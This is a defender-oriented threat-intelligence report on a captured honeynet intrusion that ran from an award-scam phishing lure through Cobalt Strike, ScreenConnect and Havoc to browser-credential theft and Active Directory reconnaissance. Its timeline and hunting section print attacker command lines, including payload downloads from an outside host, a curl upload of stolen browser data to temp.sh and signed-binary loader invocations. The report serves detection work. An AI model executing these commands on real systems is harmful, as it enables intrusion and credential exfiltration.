[Op Report] From Award Scam to Domain Recon & Exfiltration

Cobalt Strike → ScreenConnect → Havoc, with AD-aware payload selection and hands-on-keyboard data theft.

Executive Summary

A Deception.Pro instrumented Windows Active Directory environment captured a complete, hands-on-keyboard intrusion that began with a phishing email carrying a GitHub-hosted download and ended with domain reconnaissance and browser-credential exfiltration. The operation is notable for its environment-aware payload logic — the malware delivered different follow-on payloads depending on whether the infected host was joined to an Active Directory domain — and for chaining three distinct command-and-control (C2) frameworks in a single engagement.

The victim workstation was compromised after the user downloaded and unzipped a password-protected archive, Award[.]receipt[.]zip, masquerading as an award-notification receipt. Execution of an embedded LNK abused the signed scp.exe binary to launch a PowerShell loader, staging a Cobalt Strike beacon. The actor then layered on a ScreenConnect remote-access client for interactive control and pulled down a Havoc “Demon” implant.

Over roughly 20 hours the operator conducted local and domain reconnaissance, staged Chrome and Edge history/login databases, and repeatedly attempted exfiltration through anonymous file-sharing services, ultimately succeeding to temp[.]sh. The environment appears to be a healthcare-themed decoy, and the tradecraft observed is consistent with an access broker / initial-access operation transitioning to hands-on intrusion.

Key takeaways for defenders: GitHub release URLs are being abused for first-stage delivery; signed OpenSSH utilities (scp.exe, ssh.exe) are being used as ProxyCommand PowerShell launchers; and multi-framework C2 (Cobalt Strike + ScreenConnect + Havoc) is being deployed for redundancy on a single host.

Environment at a Glance

• Replica Role: Health Coordinator

• Replica Organization: Leading digital health provider

• Industry: Healthcare

• Topology: Microsoft Active Directory environment with 3,000+ endpoints and 1500+ users.

• Replica Location: United States

• Observed duration: ~24 hours (July 27, 2026 through July 28, 2026)

• Sensor Stack: LimaCharlie EDR, Zeek, Suricata with ETPRO

• Infection Vector: Malspam Lure

• Primary Threat Families: Cobalt Strike, ScreenConnect, Havoc

Note: Replica personas, organizations, and documents are AI-generated and randomized for believability. Any resemblance to real-world entities is purely coincidental.

Figure 1: Screenshot of the initial “award” downloading from Github.

Timeline of Operation Activity

All times UTC. Reconstructed from EDR process telemetry (LimaCharlie), Suricata EVE, Zeek, and TLS-decrypted packet captures.

27 Jul 21:13: Initial Access. User clicks URL in malspam, opens Chrome and downloads Award[.]receipt[.]zip from github[.]com/kiwuxs release assets.

27 Jul 21:14–21:20: Staging. Repeated 7-Zip extraction of the password-protected archive (password Award-8729).

27 Jul 21:20:29: Execution. LNK executed: scp.exe -o ProxyCommand="powershell -ep bypass -file .\$Recycle.Bin\setup.ps1".

27 Jul 21:20:33: Loader. setup.ps1 launches documents.exe (Java packer) → jar.exe; decoy get.adobe[.]com opened in IE.

27 Jul 21:20:33: C2 #1 – Cobalt Strike. Beaconing begins to 35[.]74[.]65[.]92:8012, GET /api/v1/get (spoofed macOS Chrome UA).

27 Jul 21:22:03: C2 #2 – ScreenConnect. msiexec installs a.msi from C:\Users\Public\wtoolex\; ScreenConnect client connects to 210[.]216[.]173[.]178:8041.

27 Jul 21:38:37: Havoc delivery. ScreenConnect runs *run.cmd → PowerShell curl of verifysecure[.]net/download/stub.exe to %TEMP%\svc.exe.

27 Jul 21:38:44: C2 #3 – Havoc. svc.exe (Havoc Demon) executes and beacons TLS to bytedanceengine[.]top (158[.]94[.]173[.]154:443).

27 Jul 22:03–23:15: Collection & exfil. Browser data staged (tar) and uploaded to temp[.]sh; first Global_Browser_Data.zip exfiltration.

28 Jul 15:26–16:00: Bulk collection. xcopy of Chrome/Edge/Firefox profiles → Browser_All_Data_Collect → tar → many upload attempts.

28 Jul 16:16–16:26: Recon. ipconfig /all, arp -a, net view, netstat, systeminfo; PowerShell TCP scan of DC 10.5.38.2 (445/3389).

28 Jul 16:27: Alt exfil. certutil -encode to b64.txt then Set-Clipboard (clipboard exfiltration attempt).

28 Jul 17:02–17:04: Domain recon. net group “domain admins”/“domain computers” /domain; wevtutil logon-event hunting for named users.

28 Jul 17:32–17:33: AD targeting. Ping AD Domain Controllers; PowerShell PrincipalSearcher for recently-rotated SRV* computers.

Total observed duration: ~ 24 hours

Assessment

Environment-aware payload selection

The most operationally interesting behavior was that the intrusion set delivered different follow-on payloads based on the domain-join status of the victim. On the AD-joined honeynet host, execution proceeded through the full chain (Cobalt Strike, then ScreenConnect, then Havoc) and unlocked hands-on-keyboard domain reconnaissance. This kind of gating lets an operator avoid burning heavier tooling on sandboxes and non-domain endpoints, and strongly implies the actor is prioritizing enterprise footholds — behavior typical of an access broker or ransomware precursor.

Three C2 frameworks, one host

Layering Cobalt Strike (primary beacon), ScreenConnect (resilient interactive RMM access), and Havoc (a modern, EDR-evasion-focused framework) provides redundancy: if one channel is detected and killed, the others persist. The Havoc Demon in particular is built for evasion — sleep obfuscation, return-address stack spoofing, and indirect syscalls — and here it disguised its beacons as TLS traffic to bytedanceengine[.]top interleaved with decoy connections to domain[.]com (a Havoc malleable-profile default).

Living-off-the-land delivery

Initial execution abused the Microsoft-signed OpenSSH client: the LNK invoked scp.exe with a ProxyCommand that ran the PowerShell loader — a signed-binary proxy execution technique that evades naive application-control and parent-process heuristics. Subsequent stages leaned on msiexec, certutil, curl, tar, and wevtutil, all native Windows tooling, keeping the on-disk custom-malware footprint small.

Objectives: credentials and domain mapping

Collection focused on browser secrets — Chrome and Edge History and Login Data SQLite databases for the infected — archived as Global_Browser_Data.zip and exfiltrated to temp[.]sh. In parallel, the operator mapped Active Directory: enumerating Domain Admins and Domain Computers, hunting successful-logon events for a specific list of usernames, and searching Active Directory for recently password-rotated SRV* servers — a pattern consistent with staging for privilege escalation and lateral movement toward high-value hosts.

Attribution & confidence

Deception.Pro assesses with moderate confidence that this activity represents a financially-motivated initial-access / access-broker operation. The tradecraft (award-scam lure, GitHub abuse, fake Cloudflare verification page, commodity + open-source C2 stack, browser-credential theft) is widely shared across eCrime crews and is not, on the evidence captured here, uniquely attributable to a single named group. The stub.exe Havoc payload was unknown to VirusTotal at time of capture, indicating fresh, in-the-wild tooling.

Defender Takeaways

• Treat GitHub release-asset downloads as delivery. Alert on release-assets.githubusercontent[.]com fetches of archives from untrusted repos (e.g. github[.]com/kiwuxs), and on password-protected ZIPs paired with a password in the lure body.

• Hunt signed-binary ProxyCommand abuse. Any scp.exe or ssh.exe command line containing ProxyCommand + powershell is high-fidelity — legitimate use is rare on endpoints.

• Watch for RMM sprawl. Unexpected ScreenConnect (ScreenConnect.ClientService.exe) installs via msiexec from C:\Users\Public\ or C:\ProgramData\ are a common second-stage foothold.

• Flag fake human-verification pages. The verifysecure[.]net/verify “ClickFix”-style Cloudflare clone fronted the Havoc payload download; block the domain and monitor for PowerShell curl … -OutFile %TEMP%\svc.exe patterns.

• Alert on file-sharing exfil. Outbound curl -F file=@… to temp[.]sh, file[.]io, transfer[.]sh, oshi[.]at, bashupload[.]com — especially of Browser*Data*.zip — should page.

• Baseline domain-recon commands. net group “domain admins” /domain, wevtutil qe Security for logon events, and System.DirectoryServices.AccountManagement PrincipalSearcher queries are strong hands-on-keyboard signals.

• Monitor certutil/clipboard staging. certutil -encode followed by Set-Clipboard indicates alternate (out-of-band) exfiltration when network egress is blocked.

About Deception Pro

Deception.Pro operates persistent, fully-instrumented Windows Active Directory environments engineered to attract and capture real adversary behavior. Each environment produces high-fidelity, multi-sensor telemetry — EDR process trees, Suricata IDS alerts, Zeek network metadata, and full-packet PCAP — enabling end-to-end reconstruction of live intrusions like the one detailed here.

We license this adversary telemetry and finished intelligence to detection engineering, threat-hunting, and data-science teams. To discuss access to datasets or bespoke reporting, visit deception.pro.

Indicators of Compromise

Domains & IP Addresses

github[.]com/kiwuxs - initial delivery

release-assets[.]githubusercontent[.]com - ZIP payload hosting

verifysecure[.]net - stub.exe (Havoc payload) host

bytedanceengine[.]top (158[.]94[.]173[.]154) - Havoc C2 (TLS/443)

35[.]74[.]65[.]92:8012 - Cobalt Strike HTTP C2

210[.]216[.]173[.]178:8041 - ScreenConnect C2

temp[.]sh (51[.]91[.]79[.]17) - Exfiltration (successful)

transfer[.]sh (144[.]76[.]136[.]153) - Exfiltration attempt

file[.]io - Exfiltration attempt

oshi[.]at (195[.]201[.]69[.]223) - Exfiltration attempt

bashupload[.]com - Exfiltration attempt

URLs

hxxps://github[.]com/kiwuxs/download/releases/download/Aws/Award[.]receipt[.]zip
hxxps://verifysecure[.]net/download/stub[.]exe
hxxps://temp[.]sh/upload

Suricata Alert Signatures

ETPRO FILE_SHARING Anonymous File Sharing DNS Lookup

ETPRO INFO Observed Anonymous File Share Domain in TLS SNI

Over 100MB uploaded via TLS to public IP address - Possible data exfiltration

Suspicious HTTP trafic on unusual HTTP port

ET DNS Query to a *.top domain - Likely Hostile

ET FILE_SHARING Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)

ET FILE_SHARING Public File Sharing Service Domain in DNS Lookup (bashupload .com)

ET HUNTING PNG image exfiltration over raw TCP

ET INFO Commonly Abused File Sharing Site Domain Observed in DNS Lookup (file .io)

ET INFO Observed Commonly Abused File Sharing Site Domain (file .io) in TLS SNI

ET INFO Observed DNS Query to File Transfer Service Domain (transfer .sh)

File Hashes (SHA-256)

976a04930d304451e49bbfd1c4ea90a6bb3f0624a0c691905cab7a2a70c1fe4c Award[.]receipt[.]zip

217c72f28cc29f6b5cc90db69f534f7caae7a9bbbba1b482c95a1b09d9b2644c Winner Notification … receipt[.]pdf[.]lnk

359026f6e323a7424aac6264f584db037ea42ff5127b6db2eb37181ac56105f6 setup[.]ps1

4f86ec7c1cdb8d3175dba5e3143f13646d99e673e62e6ca9096c5e559fc48db6 documents[.]exe

d6ac622c1db4c11803a57edd671c3cbbdd4609aa08a5303cab39ff37de49499c main[.]txt

2d09b2a08803df7ad8154c1ed915d8dfa041e3f6eb474c613534779d9ec42ba6 stub[.]exe / svc[.]exe 

JA3 Fingerprints

• ce5f3254611a8c095a3d821d44539877 Havoc C2 (bytedanceengine[.]top)

• bd0bf25947d4a37404f0424edf4db9ad Havoc C2 (alt / curl-like)

On-Disk Artifacts & Paths

• C:\Users\<user>\Downloads\Award receipt\Winner Notification – Award Certificate.pdf.lnk

• .\$Recycle.Bin\setup.ps1   (PowerShell loader path)

• C:\Users\<user>\AppData\Local\Temp\documents.exe   (Java packer)

• C:\Users\<user>\AppData\Local\MyAppTemp\jar.exe

• C:\Windows\TEMP\svc.exe  (Havoc Demon)

• C:\Users\Public\wtoolex\  (insta.exe, a.msi – ScreenConnect installer)

• C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\

• C:\Windows\SystemTemp\ScreenConnect\24.3.7.9067\<random>run.cmd

• %LOCALAPPDATA%\Temp\Browser_All_Data_Collect\  and  Browser_Data_Collect\

• Global_Browser_Data.zip  /  Global_Browser_Data_Full.zip  /  b64.txt (certutil output)

Command-Line Artifacts for Hunting

• scp.exe -o ProxyCommand="powershell -ep bypass -file .\$Recycle.Bin\setup.ps1" . localhost:.

• ssh.exe -x -o "ProxyCommand=powershell -ep bypass -file ./$Recycle.Bin/setup.ps1" -s -- localhost sftp

• powershell -NoProfile -Command "curl 'https://verifysecure[.]net/download/stub.exe' -OutFile (Join-Path $env:TEMP 'svc.exe')"

• cmd.exe /C msiexec.exe /i C:\Users\Public\wtoolex\a.msi /qn /norestart

• insta.exe /VERYSILENT /PASSWORD=69d4e5d5-a26f-4fb8-be16-53a4318b1a55

• net group "domain admins" /domain    |    net group "domain computers" /domain

• wevtutil qe Security "/q:*[System[(EventID=4624)] and EventData[…TargetUserName=…]]" /f:text /c:3

• powershell … [Net.Sockets.TcpClient] Connect('10.5.38.2', 445/3389)   (DC port scan)

• powershell … PrincipalSearcher … Where { $_.Name -like 'SRV*' -and $_.LastPasswordSet -gt (Get-Date).AddDays(-30) }

• certutil -encode Global_Browser_Data.zip b64.txt  ;  Get-Content b64.txt | Set-Clipboard

• tar -cf Global_Browser_Data.zip -C Browser_Data_Collect .  

• curl --ssl-no-revoke -F "file=@Global_Browser_Data.zip" hXXps://temp[.]sh/upload
  

ATT&CK Mapping

• T1566.002 Phishing: Spearphishing Link

• T1204.002 User Execution: Malicious File

• T1059.001 PowerShell

• T1218 Signed Binary Proxy Execution

• T1027 Obfuscated/Packed Files

• T1140 Deobfuscate/Decode (certutil)

• T1656 Impersonation

• T1071.001 Web Protocols

• T1219 Remote Access Software

• T1573 Encrypted Channel

• T1105 Ingress Tool Transfer

• T1087.002 Account Discovery: Domain

• T1018 Remote System Discovery

• T1046 Network Service Discovery

• T1082 / T1016 System & Network Config

• T1555.003 Credentials from Web Browsers

• T1567.002 Exfil to Cloud/Web Service

• T1115 Clipboard Data